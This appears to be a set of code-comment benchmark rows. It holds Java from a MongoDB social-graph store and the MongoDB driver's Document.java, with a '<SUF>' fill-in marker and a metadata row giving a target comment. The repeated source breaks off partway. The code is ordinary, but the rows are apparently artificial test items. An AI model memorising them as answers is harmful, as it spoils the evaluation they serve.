// There should only be one result, the list of friends.
DBObject friends = output.results().iterator().next();
BasicBSONList friends_list = (BasicBSONList) friends.get("followees");
assert(!output.results().iterator().hasNext());
return friends_list;
}
/**
* Use the aggregation framework to get the _ids of all users who have any of the users in 'friends_list' as a
* follower, excluding 'user'.
* @param user The original user.
* @param friend_ids The _ids of 'user's friends.
* @return The _ids of 'user's friends of friends.
*/
private BasicBSONList getFriendsOfUsersAgg(User user, BasicBSONList friend_ids) {
DBCollection coll; // Depending on the settings, we'll have to query different collections.
String friend_id_key; // This is the key that will have the friend's _id.
String fof_id_key; // This is the key that will have the friend of friend's _id.
if(config.maintain_following_collection){
// If there is a following collection, get the users directly.
coll = this.following;
friend_id_key = EDGE_OWNER_KEY;
fof_id_key = EDGE_PEER_KEY;
} else {
// Otherwise, get them from the follower collection.
coll = this.followers;
friend_id_key = EDGE_PEER_KEY;
fof_id_key = EDGE_OWNER_KEY;
}
List<DBObject> fof_pipeline = new ArrayList<DBObject>(2);
// Pipeline to get the friends of friends
// [{$match: {'$friend_id_key': {$in: <list of friends>}, '$fof_id_key': {$ne: <user's id>}}},
// {$group: {_id: null, followees: {$addToSet: '$fof_id_key'}}]
// All users which any friend is following.
fof_pipeline.add(new BasicDBObject("$match",
new BasicDBObject(
friend_id_key,
new BasicDBObject("$in", friend_ids.toArray())
).append(fof_id_key,
new BasicDBObject("$ne", user.getUserId()))));
// Combine all _ids into a set.
fof_pipeline.add(new BasicDBObject("$group",
new BasicDBObject("_id", null)
.append("fofs",
new BasicDBObject("$addToSet", "$" + fof_id_key))));
AggregationOutput output = coll.aggregate(fof_pipeline);
if (!output.results().iterator().hasNext()) {
return new BasicBSONList();
}
// Should only be one result, the list of fofs.
BasicBSONList fof_ids = (BasicBSONList)output.results().iterator().next().get("fofs");
assert(!output.results().iterator().hasNext());
return fof_ids;
}
/**
* Use the query system to get the _ids of all users who have any of the users in 'friends_list' as a follower,
* excluding 'user'.
* @param user The original user.
* @param friend_ids The _ids of 'user's friends.
* @return The _ids of 'user's friends of friends.
*/
private Set<String> getFriendsOfUsersQuery(User user, List<String> friend_ids) {
QueryBuilder fof_id_query;
DBObject proj;
DBCollection coll;
String fof_id_key;
if(config.maintain_following_collection){
coll = this.following;
proj = new BasicDBObject(USER_ID_KEY, false).append(EDGE_PEER_KEY, true);
fof_id_key = EDGE_PEER_KEY;
fof_id_query = QueryBuilder.start();
fof_id_query = fof_id_query.put(EDGE_OWNER_KEY);
fof_id_query = fof_id_query.in(friend_ids.toArray());
} else {
// otherwise get them from the follower collection
coll = this.followers;
proj = new BasicDBObject(USER_ID_KEY, false).append(EDGE_OWNER_KEY, true);
fof_id_key = EDGE_OWNER_KEY;
fof_id_query = QueryBuilder.start();
fof_id_query = fof_id_query.put(EDGE_PEER_KEY);
fof_id_query = fof_id_query.in(friend_ids.toArray());
}
DBCursor fof_ids_cursor = coll.find(fof_id_query.get(), proj);
// Make a set of all the results, since a user who has more than one follower in 'friend_ids' will appear in the
// query results multiple times.
Set<String> fof_ids = new HashSet<String>();
while (fof_ids_cursor.hasNext()) {
String user_id = (String)fof_ids_cursor.next().get(fof_id_key);
// A user should not be included in their set of friends of friends.
if (!user_id.equals(user.getUserId())) {
fof_ids.add(user_id);
}
}
return fof_ids;
}
/**
* Use the query system to get a list of the _ids of the users who 'user' is following.
* @param user Any user.
* @return The _ids of all users who 'user' is following.
*/
private List<String> getFriendIdsUsingQuery(User user) {
DBCursor friends_cursor;
String friend_id_key;
if(config.maintain_following_collection){
// If there is a following collection, get the users directly
friends_cursor = this.following.find( byEdgeOwner(user.getUserId()), selectEdgePeer());
friend_id_key = EDGE_PEER_KEY;
} else {
// otherwise get them from the follower collection
friends_cursor = this.followers.find( byEdgePeer(user.getUserId()), selectEdgeOwner());
friend_id_key = EDGE_OWNER_KEY;
}
// Convert List<User> to List<String> of _ids to pass to $in query.
List<String> friend_ids = new ArrayList<String>();
while (friends_cursor.hasNext()) {
friend_ids.add((String)friends_cursor.next().get(friend_id_key));
}
return friend_ids;
}
private void insertEdgeWithId(DBCollection edgeCollection, ObjectId id, User user, User toFollow) {
try {
edgeCollection.insert( makeEdgeWithId(id, user, toFollow));
} catch( DuplicateKeyException e ) {
// inserting duplicate edge is fine. keep going.
}
}
private void insertEdgeWithId(MongoCollection edgeCollection, ObjectId id, User user, User toFollow, ClientSession session) {
// try {
edgeCollection.insertOne( session, makeEdgeWithId(id, user, toFollow));
// } catch( MongoCommandException e ) {
// if (e.getErrorCode()<SUF>
// throw e; // System.err.println(e.getErrorMessage());
// } else {
// inserting duplicate edge is fine. keep going.
// System.out.println("Duplicate key when inserting follow");
// }
// }
}
static List<User> getUsersFromCursor(DBCursor cursor, String fieldKey){
try{
// exhaust the cursor adding each user
List<User> followers = new ArrayList<User>();
while(cursor.hasNext()) {
followers.add(new User((String)cursor.next().get(fieldKey)));
}
return followers;
} finally {
// ensure cursor is closed
cursor.close();
}
}
static DBObject increment(String field) {
return new BasicDBObject("$inc", new BasicDBObject(field, 1));
}
static DBObject decrement(String field) {
return new BasicDBObject("$inc", new BasicDBObject(field, -1));
}
static DBObject byUserId(String user_id) {
return new BasicDBObject(USER_ID_KEY, user_id);
}
static DBObject makeEdge(final User from, final User to) {
return new BasicDBObject(EDGE_OWNER_KEY,
from.getUserId()).append(EDGE_PEER_KEY, to.getUserId());
}
static DBObject makeEdgeWithId(ObjectId id, User from, User to) {
return new BasicDBObject(USER_ID_KEY, id).append(EDGE_OWNER_KEY,
from.getUserId()).append(EDGE_PEER_KEY, to.getUserId());
}
static DBObject byEdgeOwner(String remote) {
return new BasicDBObject(EDGE_OWNER_KEY, remote);
}
static DBObject byEdgePeer(String remote) {
return new BasicDBObject(EDGE_PEER_KEY, remote);
}
static DBObject selectEdgePeer() {
return new BasicDBObject(EDGE_PEER_KEY, 1).append(USER_ID_KEY, 0);
}
static DBObject selectEdgeOwner() {
return new BasicDBObject(EDGE_OWNER_KEY, 1).append(USER_ID_KEY, 0);
}
}
|
176485_32 | /*
* Copyright 2008-present MongoDB, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.bson;
import org.bson.codecs.BsonValueCodecProvider;
import org.bson.codecs.Codec;
import org.bson.codecs.CollectionCodecProvider;
import org.bson.codecs.Decoder;
import org.bson.codecs.DecoderContext;
import org.bson.codecs.DocumentCodec;
import org.bson.codecs.DocumentCodecProvider;
import org.bson.codecs.Encoder;
import org.bson.codecs.EncoderContext;
import org.bson.codecs.IterableCodecProvider;
import org.bson.codecs.MapCodecProvider;
import org.bson.codecs.ValueCodecProvider;
import org.bson.codecs.configuration.CodecRegistry;
import org.bson.conversions.Bson;
import org.bson.json.JsonMode;
import org.bson.json.JsonReader;
import org.bson.json.JsonWriter;
import org.bson.json.JsonWriterSettings;
import org.bson.types.ObjectId;
import java.io.Serializable;
import java.io.StringWriter;
import java.util.Collection;
import java.util.Date;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import static java.lang.String.format;
import static java.util.Arrays.asList;
import static org.bson.assertions.Assertions.isTrue;
import static org.bson.assertions.Assertions.notNull;
import static org.bson.codecs.configuration.CodecRegistries.fromProviders;
import static org.bson.codecs.configuration.CodecRegistries.withUuidRepresentation;
/**
* A representation of a document as a {@code Map}. All iterators will traverse the elements in insertion order, as with {@code
* LinkedHashMap}.
*
* @mongodb.driver.manual core/document document
* @since 3.0.0
*/
public class Document implements Map<String, Object>, Serializable, Bson {
private static final Codec<Document> DEFAULT_CODEC =
withUuidRepresentation(fromProviders(asList(new ValueCodecProvider(),
new CollectionCodecProvider(), new IterableCodecProvider(),
new BsonValueCodecProvider(), new DocumentCodecProvider(), new MapCodecProvider())), UuidRepresentation.STANDARD)
.get(Document.class);
private static final long serialVersionUID = 6297731997167536582L;
/**
* The map of keys to values.
*/
private final LinkedHashMap<String, Object> documentAsMap;
/**
* Creates an empty Document instance.
*/
public Document() {
documentAsMap = new LinkedHashMap<>();
}
/**
* Create a Document instance initialized with the given key/value pair.
*
* @param key key
* @param value value
*/
public Document(final String key, final Object value) {
documentAsMap = new LinkedHashMap<>();
documentAsMap.put(key, value);
}
/**
* Creates a Document instance initialized with the given map.
*
* @param map initial map
*/
public Document(final Map<String, ?> map) {
documentAsMap = new LinkedHashMap<>(map);
}
/**
* Parses a string in MongoDB Extended JSON format to a {@code Document}
*
* @param json the JSON string
* @return a corresponding {@code Document} object
* @see org.bson.json.JsonReader
* @mongodb.driver.manual reference/mongodb-extended-json/ MongoDB Extended JSON
*/
public static Document parse(final String json) {
return parse(json, DEFAULT_CODEC);
}
/**
* Parses a string in MongoDB Extended JSON format to a {@code Document}
*
* @param json the JSON string
* @param decoder the {@code Decoder} to use to parse the JSON string into a {@code Document}
* @return a corresponding {@code Document} object
* @see org.bson.json.JsonReader
* @mongodb.driver.manual reference/mongodb-extended-json/ MongoDB Extended JSON
*/
public static Document parse(final String json, final Decoder<Document> decoder) {
notNull("codec", decoder);
JsonReader bsonReader = new JsonReader(json);
return decoder.decode(bsonReader, DecoderContext.builder().build());
}
@Override
public <C> BsonDocument toBsonDocument(final Class<C> documentClass, final CodecRegistry codecRegistry) {
return new BsonDocumentWrapper<>(this, codecRegistry.get(Document.class));
}
/**
* Put the given key/value pair into this Document and return this. Useful for chaining puts in a single expression, e.g.
* <pre>
* doc.append("a", 1).append("b", 2)}
* </pre>
* @param key key
* @param value value
* @return this
*/
public Document append(final String key, final Object value) {
documentAsMap.put(key, value);
return this;
}
/**
* Gets the value of the given key, casting it to the given {@code Class<T>}. This is useful to avoid having casts in client code,
* though the effect is the same. So to get the value of a key that is of type String, you would write {@code String name =
* doc.get("name", String.class)} instead of {@code String name = (String) doc.get("x") }.
*
* @param key the key
* @param clazz the non-null class to cast the value to
* @param <T> the type of the class
* @return the value of the given key, or null if the instance does not contain this key.
* @throws ClassCastException if the value of the given key is not of type T
*/
public <T> T get(final Object key, final Class<T> clazz) {
notNull("clazz", clazz);
return clazz.cast(documentAsMap.get(key));
}
/**
* Gets the value of the given key, casting it to {@code Class<T>} or returning the default value if null.
* This is useful to avoid having casts in client code, though the effect is the same.
*
* @param key the key
* @param defaultValue what to return if the value is null
* @param <T> the type of the class
* @return the value of the given key, or null if the instance does not contain this key.
* @throws ClassCastException if the value of the given key is not of type T
* @since 3.5
*/
@SuppressWarnings("unchecked")
public <T> T get(final Object key, final T defaultValue) {
notNull("defaultValue", defaultValue);
Object value = documentAsMap.get(key);
return value == null ? defaultValue : (T) value;
}
/**
* Gets the value in an embedded document, casting it to the given {@code Class<T>}. The list of keys represents a path to the
* embedded value, drilling down into an embedded document for each key. This is useful to avoid having casts in
* client code, though the effect is the same.
* <p>
* The generic type of the keys list is {@code ?} to be consistent with the corresponding {@code get} methods, but in practice
* the actual type of the argument should be {@code List<String>}. So to get the embedded value of a key list that is of type String,
* you would write {@code String name = doc.getEmbedded(List.of("employee", "manager", "name"), String.class)} instead of
* {@code String name = (String) doc.get("employee", Document.class).get("manager", Document.class).get("name") }.
*
* @param keys the list of keys
* @param clazz the non-null class to cast the value to
* @param <T> the type of the class
* @return the value of the given embedded key, or null if the instance does not contain this embedded key.
* @throws ClassCastException if the value of the given embedded key is not of type T
* @since 3.10
*/
public <T> T getEmbedded(final List<?> keys, final Class<T> clazz) {
notNull("keys", keys);
isTrue("keys", !keys.isEmpty());
notNull("clazz", clazz);
return getEmbeddedValue(keys, clazz, null);
}
/**
* Gets the value in an embedded document, casting it to the given {@code Class<T>} or returning the default value if null.
* The list of keys represents a path to the embedded value, drilling down into an embedded document for each key.
* This is useful to avoid having casts in client code, though the effect is the same.
* <p>
* The generic type of the keys list is {@code ?} to be consistent with the corresponding {@code get} methods, but in practice
* the actual type of the argument should be {@code List<String>}. So to get the embedded value of a key list that is of type String,
* you would write {@code String name = doc.getEmbedded(List.of("employee", "manager", "name"), "John Smith")} instead of
* {@code String name = doc.get("employee", Document.class).get("manager", Document.class).get("name", "John Smith") }.
*
* @param keys the list of keys
* @param defaultValue what to return if the value is null
* @param <T> the type of the class
* @return the value of the given key, or null if the instance does not contain this key.
* @throws ClassCastException if the value of the given key is not of type T
* @since 3.10
*/
public <T> T getEmbedded(final List<?> keys, final T defaultValue) {
notNull("keys", keys);
isTrue("keys", !keys.isEmpty());
notNull("defaultValue", defaultValue);
return getEmbeddedValue(keys, null, defaultValue);
}
// Gets the embedded value of the given list of keys, casting it to {@code Class<T>} or returning the default value if null.
// Throws ClassCastException if any of the intermediate embedded values is not a Document.
@SuppressWarnings("unchecked")
private <T> T getEmbeddedValue(final List<?> keys, final Class<T> clazz, final T defaultValue) {
Object value = this;
Iterator<?> keyIterator = keys.iterator();
while (keyIterator.hasNext()) {
Object key = keyIterator.next();
value = ((Document) value).get(key);
if (!(value instanceof Document)) {
if (value == null) {
return defaultValue;
} else if (keyIterator.hasNext()) {
throw new ClassCastException(format("At key %s, the value is not a Document (%s)",
key, value.getClass().getName()));
}
}
}
return clazz != null ? clazz.cast(value) : (T) value;
}
/**
* Gets the value of the given key as an Integer.
*
* @param key the key
* @return the value as an integer, which may be null
* @throws java.lang.ClassCastException if the value is not an integer
*/
public Integer getInteger(final Object key) {
return (Integer) get(key);
}
/**
* Gets the value of the given key as a primitive int.
*
* @param key the key
* @param defaultValue what to return if the value is null
* @return the value as an integer, which may be null
* @throws java.lang.ClassCastException if the value is not an integer
*/
public int getInteger(final Object key, final int defaultValue) {
return get(key, defaultValue);
}
/**
* Gets the value of the given key as a Long.
*
* @param key the key
* @return the value as a long, which may be null
* @throws java.lang.ClassCastException if the value is not an long
*/
public Long getLong(final Object key) {
return (Long) get(key);
}
/**
* Gets the value of the given key as a Double.
*
* @param key the key
* @return the value as a double, which may be null
* @throws java.lang.ClassCastException if the value is not an double
*/
public Double getDouble(final Object key) {
return (Double) get(key);
}
/**
* Gets the value of the given key as a String.
*
* @param key the key
* @return the value as a String, which may be null
* @throws java.lang.ClassCastException if the value is not a String
*/
public String getString(final Object key) {
return (String) get(key);
}
/**
* Gets the value of the given key as a Boolean.
*
* @param key the key
* @return the value as a Boolean, which may be null
* @throws java.lang.ClassCastException if the value is not an boolean
*/
public Boolean getBoolean(final Object key) {
return (Boolean) get(key);
}
/**
* Gets the value of the given key as a primitive boolean.
*
* @param key the key
* @param defaultValue what to return if the value is null
* @return the value as a primitive boolean
* @throws java.lang.ClassCastException if the value is not a boolean
*/
public boolean getBoolean(final Object key, final boolean defaultValue) {
return get(key, defaultValue);
}
/**
* Gets the value of the given key as an ObjectId.
*
* @param key the key
* @return the value as an ObjectId, which may be null
* @throws java.lang.ClassCastException if the value is not an ObjectId
*/
public ObjectId getObjectId(final Object key) {
return (ObjectId) get(key);
}
/**
* Gets the value of the given key as a Date.
*
* @param key the key
* @return the value as a Date, which may be null
* @throws java.lang.ClassCastException if the value is not a Date
*/
public Date getDate(final Object key) {
return (Date) get(key);
}
/**
* Gets the list value of the given key, casting the list elements to the given {@code Class<T>}. This is useful to avoid having
* casts in client code, though the effect is the same.
*
* @param key the key
* @param clazz the non-null class to cast the list value to
* @param <T> the type of the class
* @return the list value of the given key, or null if the instance does not contain this key.
* @throws ClassCastException if the elements in the list value of the given key is not of type T or the value is not a list
* @since 3.10
*/
public <T> List<T> getList(final Object key, final Class<T> clazz) {
notNull("clazz", clazz);
return constructValuesList(key, clazz, null);
}
/**
* Gets the list value of the given key, casting the list elements to {@code Class<T>} or returning the default list value if null.
* This is useful to avoid having casts in client code, though the effect is the same.
*
* @param key the key
* @param clazz the non-null class to cast the list value to
* @param defaultValue what to return if the value is null
* @param <T> the type of the class
* @return the list value of the given key, or the default list value if the instance does not contain this key.
* @throws ClassCastException if the value of the given key is not of type T
* @since 3.10
*/
public <T> List<T> getList(final Object key, final Class<T> clazz, final List<T> defaultValue) {
notNull("defaultValue", defaultValue);
notNull("clazz", clazz);
return constructValuesList(key, clazz, defaultValue);
}
// Construct the list of values for the specified key, or return the default value if the value is null.
// A ClassCastException will be thrown if an element in the list is not of type T.
@SuppressWarnings("unchecked")
private <T> List<T> constructValuesList(final Object key, final Class<T> clazz, final List<T> defaultValue) {
List<T> value = get(key, List.class);
if (value == null) {
return defaultValue;
}
for (Object item : value) {
if (item != null && !clazz.isAssignableFrom(item.getClass())) {
throw new ClassCastException(format("List element cannot be cast to %s", clazz.getName()));
}
}
return value;
}
/**
* Gets a JSON representation of this document using the {@link org.bson.json.JsonMode#RELAXED} output mode, and otherwise the default
* settings of {@link JsonWriterSettings.Builder} and {@link DocumentCodec}.
*
* @return a JSON representation of this document
* @throws org.bson.codecs.configuration.CodecConfigurationException if the document contains types not in the default registry
* @see #toJson(JsonWriterSettings)
* @see JsonWriterSettings
*/
public String toJson() {
return toJson(JsonWriterSettings.builder().outputMode(JsonMode.RELAXED).build());
}
/**
* Gets a JSON representation of this document
*
* <p>With the default {@link DocumentCodec}.</p>
*
* @param writerSettings the json writer settings to use when encoding
* @return a JSON representation of this document
* @throws org.bson.codecs.configuration.CodecConfigurationException if the document contains types not in the default registry
*/
public String toJson(final JsonWriterSettings writerSettings) {
return toJson(writerSettings, DEFAULT_CODEC);
}
/**
* Gets a JSON representation of this document
*
* <p>With the default {@link JsonWriterSettings}.</p>
*
* @param encoder the document codec instance to use to encode the document
* @return a JSON representation of this document
* @throws org.bson.codecs.configuration.CodecConfigurationException if the registry does not contain a codec for the document values.
*/
public String toJson(final Encoder<Document> encoder) {
return toJson(JsonWriterSettings.builder().outputMode(JsonMode.RELAXED).build(), encoder);
}
/**
* Gets a JSON representation of this document
*
* @param writerSettings the json writer settings to use when encoding
* @param encoder the document codec instance to use to encode the document
* @return a JSON representation of this document
* @throws org.bson.codecs.configuration.CodecConfigurationException if the registry does not contain a codec for the document values.
*/
public String toJson(final JsonWriterSettings writerSettings, final Encoder<Document> encoder) {
JsonWriter writer = new JsonWriter(new StringWriter(), writerSettings);
encoder.encode(writer, this, EncoderContext.builder().build());
return writer.getWriter().toString();
}
// Vanilla Map methods delegate to map field
@Override
public int size() {
return documentAsMap.size();
}
@Override
public boolean isEmpty() {
return documentAsMap.isEmpty();
}
@Override
public boolean containsValue(final Object value) {
return documentAsMap.containsValue(value);
}
@Override
public boolean containsKey(final Object key) {
return documentAsMap.containsKey(key);
}
@Override
public Object get(final Object key) {
return documentAsMap.get(key);
}
@Override
public Object put(final String key, final Object value) {
return documentAsMap.put(key, value);
}
@Override
public Object remove(final Object key) {
return documentAsMap.remove(key);
}
@Override
public void putAll(final Map<? extends String, ?> map) {
documentAsMap.putAll(map);
}
@Override
public void clear() {
documentAsMap.clear();
}
@Override
public Set<String> keySet() {
return documentAsMap.keySet();
}
@Override
public Collection<Object> values() {
return documentAsMap.values();
}
@Override
public Set<Map.Entry<String, Object>> entrySet() {
return documentAsMap.entrySet();
}
@Override
public boolean equals(final Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
Document document = (Document) o;
if (!documentAsMap.equals(document.documentAsMap)) {
return false;
}
return true;
}
@Override
public int hashCode() {
return documentAsMap.hashCode();
}
@Override
public String toString() {
return "Document{"
+ documentAsMap
+ '}';
}
}
| mongodb/mongo-java-driver | bson/src/main/org/bson/Document.java | 5,729 | // Vanilla Map methods delegate to map field | line_comment | nl | /*
* Copyright 2008-present MongoDB, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.bson;
import org.bson.codecs.BsonValueCodecProvider;
import org.bson.codecs.Codec;
import org.bson.codecs.CollectionCodecProvider;
import org.bson.codecs.Decoder;
import org.bson.codecs.DecoderContext;
import org.bson.codecs.DocumentCodec;
import org.bson.codecs.DocumentCodecProvider;
import org.bson.codecs.Encoder;
import org.bson.codecs.EncoderContext;
import org.bson.codecs.IterableCodecProvider;
import org.bson.codecs.MapCodecProvider;
import org.bson.codecs.ValueCodecProvider;
import org.bson.codecs.configuration.CodecRegistry;
import org.bson.conversions.Bson;
import org.bson.json.JsonMode;
import org.bson.json.JsonReader;
import org.bson.json.JsonWriter;
import org.bson.json.JsonWriterSettings;
import org.bson.types.ObjectId;
import java.io.Serializable;
import java.io.StringWriter;
import java.util.Collection;
import java.util.Date;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import static java.lang.String.format;
import static java.util.Arrays.asList;
import static org.bson.assertions.Assertions.isTrue;
import static org.bson.assertions.Assertions.notNull;
import static org.bson.codecs.configuration.CodecRegistries.fromProviders;
import static org.bson.codecs.configuration.CodecRegistries.withUuidRepresentation;
/**
* A representation of a document as a {@code Map}. All iterators will traverse the elements in insertion order, as with {@code
* LinkedHashMap}.
*
* @mongodb.driver.manual core/document document
* @since 3.0.0
*/
public class Document implements Map<String, Object>, Serializable, Bson {
private static final Codec<Document> DEFAULT_CODEC =
withUuidRepresentation(fromProviders(asList(new ValueCodecProvider(),
new CollectionCodecProvider(), new IterableCodecProvider(),
new BsonValueCodecProvider(), new DocumentCodecProvider(), new MapCodecProvider())), UuidRepresentation.STANDARD)
.get(Document.class);
private static final long serialVersionUID = 6297731997167536582L;
/**
* The map of keys to values.
*/
private final LinkedHashMap<String, Object> documentAsMap;
/**
* Creates an empty Document instance.
*/
public Document() {
documentAsMap = new LinkedHashMap<>();
}
/**
* Create a Document instance initialized with the given key/value pair.
*
* @param key key
* @param value value
*/
public Document(final String key, final Object value) {
documentAsMap = new LinkedHashMap<>();
documentAsMap.put(key, value);
}
/**
* Creates a Document instance initialized with the given map.
*
* @param map initial map
*/
public Document(final Map<String, ?> map) {
documentAsMap = new LinkedHashMap<>(map);
}
/**
* Parses a string in MongoDB Extended JSON format to a {@code Document}
*
* @param json the JSON string
* @return a corresponding {@code Document} object
* @see org.bson.json.JsonReader
* @mongodb.driver.manual reference/mongodb-extended-json/ MongoDB Extended JSON
*/
public static Document parse(final String json) {
return parse(json, DEFAULT_CODEC);
}
/**
* Parses a string in MongoDB Extended JSON format to a {@code Document}
*
* @param json the JSON string
* @param decoder the {@code Decoder} to use to parse the JSON string into a {@code Document}
* @return a corresponding {@code Document} object
* @see org.bson.json.JsonReader
* @mongodb.driver.manual reference/mongodb-extended-json/ MongoDB Extended JSON
*/
public static Document parse(final String json, final Decoder<Document> decoder) {
notNull("codec", decoder);
JsonReader bsonReader = new JsonReader(json);
return decoder.decode(bsonReader, DecoderContext.builder().build());
}
@Override
public <C> BsonDocument toBsonDocument(final Class<C> documentClass, final CodecRegistry codecRegistry) {
return new BsonDocumentWrapper<>(this, codecRegistry.get(Document.class));
}
/**
* Put the given key/value pair into this Document and return this. Useful for chaining puts in a single expression, e.g.
* <pre>
* doc.append("a", 1).append("b", 2)}
* </pre>
* @param key key
* @param value value
* @return this
*/
public Document append(final String key, final Object value) {
documentAsMap.put(key, value);
return this;
}
/**
* Gets the value of the given key, casting it to the given {@code Class<T>}. This is useful to avoid having casts in client code,
* though the effect is the same. So to get the value of a key that is of type String, you would write {@code String name =
* doc.get("name", String.class)} instead of {@code String name = (String) doc.get("x") }.
*
* @param key the key
* @param clazz the non-null class to cast the value to
* @param <T> the type of the class
* @return the value of the given key, or null if the instance does not contain this key.
* @throws ClassCastException if the value of the given key is not of type T
*/
public <T> T get(final Object key, final Class<T> clazz) {
notNull("clazz", clazz);
return clazz.cast(documentAsMap.get(key));
}
/**
* Gets the value of the given key, casting it to {@code Class<T>} or returning the default value if null.
* This is useful to avoid having casts in client code, though the effect is the same.
*
* @param key the key
* @param defaultValue what to return if the value is null
* @param <T> the type of the class
* @return the value of the given key, or null if the instance does not contain this key.
* @throws ClassCastException if the value of the given key is not of type T
* @since 3.5
*/
@SuppressWarnings("unchecked")
public <T> T get(final Object key, final T defaultValue) {
notNull("defaultValue", defaultValue);
Object value = documentAsMap.get(key);
return value == null ? defaultValue : (T) value;
}
/**
* Gets the value in an embedded document, casting it to the given {@code Class<T>}. The list of keys represents a path to the
* embedded value, drilling down into an embedded document for each key. This is useful to avoid having casts in
* client code, though the effect is the same.
* <p>
* The generic type of the keys list is {@code ?} to be consistent with the corresponding {@code get} methods, but in practice
* the actual type of the argument should be {@code List<String>}. So to get the embedded value of a key list that is of type String,
* you would write {@code String name = doc.getEmbedded(List.of("employee", "manager", "name"), String.class)} instead of
* {@code String name = (String) doc.get("employee", Document.class).get("manager", Document.class).get("name") }.
*
* @param keys the list of keys
* @param clazz the non-null class to cast the value to
* @param <T> the type of the class
* @return the value of the given embedded key, or null if the instance does not contain this embedded key.
* @throws ClassCastException if the value of the given embedded key is not of type T
* @since 3.10
*/
public <T> T getEmbedded(final List<?> keys, final Class<T> clazz) {
notNull("keys", keys);
isTrue("keys", !keys.isEmpty());
notNull("clazz", clazz);
return getEmbeddedValue(keys, clazz, null);
}
/**
* Gets the value in an embedded document, casting it to the given {@code Class<T>} or returning the default value if null.
* The list of keys represents a path to the embedded value, drilling down into an embedded document for each key.
* This is useful to avoid having casts in client code, though the effect is the same.
* <p>
* The generic type of the keys list is {@code ?} to be consistent with the corresponding {@code get} methods, but in practice
* the actual type of the argument should be {@code List<String>}. So to get the embedded value of a key list that is of type String,
* you would write {@code String name = doc.getEmbedded(List.of("employee", "manager", "name"), "John Smith")} instead of
* {@code String name = doc.get("employee", Document.class).get("manager", Document.class).get("name", "John Smith") }.
*
* @param keys the list of keys
* @param defaultValue what to return if the value is null
* @param <T> the type of the class
* @return the value of the given key, or null if the instance does not contain this key.
* @throws ClassCastException if the value of the given key is not of type T
* @since 3.10
*/
public <T> T getEmbedded(final List<?> keys, final T defaultValue) {
notNull("keys", keys);
isTrue("keys", !keys.isEmpty());
notNull("defaultValue", defaultValue);
return getEmbeddedValue(keys, null, defaultValue);
}
// Gets the embedded value of the given list of keys, casting it to {@code Class<T>} or returning the default value if null.
// Throws ClassCastException if any of the intermediate embedded values is not a Document.
@SuppressWarnings("unchecked")
private <T> T getEmbeddedValue(final List<?> keys, final Class<T> clazz, final T defaultValue) {
Object value = this;
Iterator<?> keyIterator = keys.iterator();
while (keyIterator.hasNext()) {
Object key = keyIterator.next();
value = ((Document) value).get(key);
if (!(value instanceof Document)) {
if (value == null) {
return defaultValue;
} else if (keyIterator.hasNext()) {
throw new ClassCastException(format("At key %s, the value is not a Document (%s)",
key, value.getClass().getName()));
}
}
}
return clazz != null ? clazz.cast(value) : (T) value;
}
/**
* Gets the value of the given key as an Integer.
*
* @param key the key
* @return the value as an integer, which may be null
* @throws java.lang.ClassCastException if the value is not an integer
*/
public Integer getInteger(final Object key) {
return (Integer) get(key);
}
/**
* Gets the value of the given key as a primitive int.
*
* @param key the key
* @param defaultValue what to return if the value is null
* @return the value as an integer, which may be null
* @throws java.lang.ClassCastException if the value is not an integer
*/
public int getInteger(final Object key, final int defaultValue) {
return get(key, defaultValue);
}
/**
* Gets the value of the given key as a Long.
*
* @param key the key
* @return the value as a long, which may be null
* @throws java.lang.ClassCastException if the value is not an long
*/
public Long getLong(final Object key) {
return (Long) get(key);
}
/**
* Gets the value of the given key as a Double.
*
* @param key the key
* @return the value as a double, which may be null
* @throws java.lang.ClassCastException if the value is not an double
*/
public Double getDouble(final Object key) {
return (Double) get(key);
}
/**
* Gets the value of the given key as a String.
*
* @param key the key
* @return the value as a String, which may be null
* @throws java.lang.ClassCastException if the value is not a String
*/
public String getString(final Object key) {
return (String) get(key);
}
/**
* Gets the value of the given key as a Boolean.
*
* @param key the key
* @return the value as a Boolean, which may be null
* @throws java.lang.ClassCastException if the value is not an boolean
*/
public Boolean getBoolean(final Object key) {
return (Boolean) get(key);
}
/**
* Gets the value of the given key as a primitive boolean.
*
* @param key the key
* @param defaultValue what to return if the value is null
* @return the value as a primitive boolean
* @throws java.lang.ClassCastException if the value is not a boolean
*/
public boolean getBoolean(final Object key, final boolean defaultValue) {
return get(key, defaultValue);
}
/**
* Gets the value of the given key as an ObjectId.
*
* @param key the key
* @return the value as an ObjectId, which may be null
* @throws java.lang.ClassCastException if the value is not an ObjectId
*/
public ObjectId getObjectId(final Object key) {
return (ObjectId) get(key);
}
/**
* Gets the value of the given key as a Date.
*
* @param key the key
* @return the value as a Date, which may be null
* @throws java.lang.ClassCastException if the value is not a Date
*/
public Date getDate(final Object key) {
return (Date) get(key);
}
/**
* Gets the list value of the given key, casting the list elements to the given {@code Class<T>}. This is useful to avoid having
* casts in client code, though the effect is the same.
*
* @param key the key
* @param clazz the non-null class to cast the list value to
* @param <T> the type of the class
* @return the list value of the given key, or null if the instance does not contain this key.
* @throws ClassCastException if the elements in the list value of the given key is not of type T or the value is not a list
* @since 3.10
*/
public <T> List<T> getList(final Object key, final Class<T> clazz) {
notNull("clazz", clazz);
return constructValuesList(key, clazz, null);
}
/**
* Gets the list value of the given key, casting the list elements to {@code Class<T>} or returning the default list value if null.
* This is useful to avoid having casts in client code, though the effect is the same.
*
* @param key the key
* @param clazz the non-null class to cast the list value to
* @param defaultValue what to return if the value is null
* @param <T> the type of the class
* @return the list value of the given key, or the default list value if the instance does not contain this key.
* @throws ClassCastException if the value of the given key is not of type T
* @since 3.10
*/
